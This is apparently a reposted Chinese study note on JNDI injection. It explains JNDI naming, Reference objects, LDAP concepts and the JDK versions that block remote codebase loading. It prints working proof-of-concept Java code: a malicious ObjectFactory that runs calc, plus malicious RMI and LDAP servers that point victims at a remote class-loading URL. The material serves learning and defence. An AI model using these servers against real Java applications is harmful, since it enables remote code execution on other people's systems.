JDNI及其LADP学习

JNDI简介

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)包括Naming Service和Directory Service。它是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。

Naming Service:命名服务是将名称与值相关联的实体,称为"绑定"

Directory Service:是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联

JNDI 前置知识

InitialContext类

作用就是获取初始目录环境

InitialContext initialContext = new InitialContext();

常用方法也就RMI那几种是一样的

bind list lookup rebind unbind

但是呢JNDI可以动态协议转换,例如

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:9999");
Context context = new InitialContext(env);
context.bind("refObj", new RefObject());
context.lookup("refObj");

JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。

Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");

Reference类

为了在命名或目录服务中绑定Java对象,可以使用Java序列化传输对象,但是,并非总是通过序列化去绑定对象,因为它可能太大或不合适。为了满足这些需求,JNDI定义了命名引用,以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。

Reference可以使用工厂来构造对象。当使用lookup查找对象时,Reference将使用工厂提供的工厂类加载地址来加载工厂类,例如下面代码。

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);

参数1:className - 如果本地找不到这个类名,就去远程加载

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。因为Reference是没有有实现Remote接口也没有继承 UnicastRemoteObject

当有客户端通过 lookup("obj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://127.0.0.1:8000/test.class 加载工厂类。

JNDI注入原理及其版本限制

JNDI注入就是远程对象访问可控,Reference远程加载Object Factory类的特性从而造成代码执行。

他不同于RMI,RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。

JNDI的话在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类

而LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制但是 在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

借用@啦啦0咯咯师傅的图
image-20220208234644744

例如:利用本地Class作为Reference Factory绕过8u191高版本JDK限制:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

JNDI+RMI

有了以上的了解,我们攻击过程当然也就不难的,但需要注意的是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。这里以JDK 8u31演示

恶意的test类

因为我们实例化后需要转换为ObjectFactory(ObjectFactory) clas.newInstance()。所以要我们的类继承该类【具体流程这里不再阐述,有兴趣的可以跟下源代码】

public class test implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception,IOException{
        return Runtime.getRuntime().exec("calc");
    }
}

恶意的Server

public class server {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

受害者Client

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

image-20220208223217574

LDAP简介

LDAP轻量目录访问协议是一种目录服务协议,运行在TCP/IP堆栈之上LDAP,目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库可以拿Mysql对比。

  1. 同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作

  2. 相对于mysql的表型存储;不同的是LDAP使用树型存储,因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。

概念

  • 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目
  • 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)
  • 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来
  • 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性,在后面的利用中会用到这些属性

树的层次:

  • dn:一条记录的详细位置,由以下几种属性组成
  • dc: 一条记录所属区域
  • ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
  • cn:一条记录的名字
  • uid: 树的叶节点的编号
  • sn: 姓

例如设置如下:

dn="uid=r0ser1_study,ou=java,dc=example,dc=com"

JNDI+LDAP

这里使用天融信阿尔法实验室的代码,恶意类还是上面那个。我们先去maven里面加载

image-20220208235006957

恶意的Server

public class ldap_server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8000/#test"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

受害者Client

public class ldap_client {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("ldap://127.0.0.1:9999/test");
    }
}

image-20220208235800463

参考

建议阅读下面师傅们的文章,学习到了很多知识,记录不全。

https://xz.aliyun.com/t/7079
https://paper.seebug.org/1207/
https://xz.aliyun.com/t/6633#toc-7
https://paper.seebug.org/1091/#ldap_1
https://www.cnblogs.com/nice0e3/p/13958047.html
https://threedr3am.github.io/2020/03/03/%E6%90%9E%E6%87%82RMI%E3%80%81JRMP%E3%80%81JNDI-%E7%BB%88%E7%BB%93%E7%AF%87/

推荐这些文章:

java代码学习(十) ——JDNI注入

JNDI方便了与naming service和Directory service的交互,通过指定特定的URL即可与不同的服务进行交互。
JNDI中也存在RMI codebase的动态加载机制,动态加载发生于两个部分,Naming Manager和JNDI SPI。SPI部分就是相对应的服务的配置。
JNDI提出了Naming References的方法,返回相应的Reference而不返回具体的obj。统一由JNDI的请求端去加载指定的地址上的obj。这里加载方法中就包括远程codebase的方法。
服务端
import com.sun.jndi.rmi.registry.Reference...

fastjson历史漏洞学习

前言
这里不做fastjson的基础知识介绍,如需要请看我下面参考的文章来学习,这里只是一些笔记和一点我的思考记录罢了。
简单说明下三种方式的区别:
parse("")和parseObject("",class)会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法,他们两个的调用链也是完全一样。
差别在于parseObject("",class)在调用JavaBeanInfo.build() 方法时传入的clazz参数源于parseObject方法中第二个参数中指定的类,而parse("")这种方式调用JavaBeanInfo.build()方法时传入的clazz...

Fastjson JdbcRowSetImpl利用链学习

JdbcRowSetImpl
接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体setter调用代码可以参考上篇文章调试的部分
1、漏洞复现
1.1、组件依赖版本
fastjson:1.2.22-1.2.24

1.2、利用方式
不像TemplatesImpl链需要指定的利用方式,JdbcRowSetImpl链只需要可以控制输入就能利用。
JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Objec...

有关Log4j的初步学习

参考文章:https://blog.csdn.net/WX10301075WX/article/details/121878527
参考文章:http://blog.iis7.com/article/50296.html
漏洞分析
常规的日志写法
public class Main {
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
   ...

JAVA RMI和JNDI简单学习

一、RMI概述
  java RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。
二、RMI框架
 

RMI主要有三个角色:RMI客户端、RMI服务端、注册表
RMI过程大体如下:
  1.客户端从RMI注册表中查询并获取远程对应引用。客户端首先会与Stub进行交互,stub将远程方法所需的参数进行序列化后,传递给远程应用层R...

fastjson反序列化漏洞历史CVE学习整理

fastjson 1.2.24反序列化漏洞复现
先写一个正常的使用 fastjson的web服务
我们使用 springboot创建

主要是pom.xml 里面要添加fastjson
fastjson要求小于等于 1.2.24
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</d...

文章标题:JDNI及其LADP学习
文章链接:https://www.dianjilingqu.com/51008.html
本文章来源于网络,版权归原作者所有,如果本站文章侵犯了您的权益,请联系我们删除,联系邮箱:saisai#email.cn,感谢支持理解。
THE END
< <上一篇
下一篇>>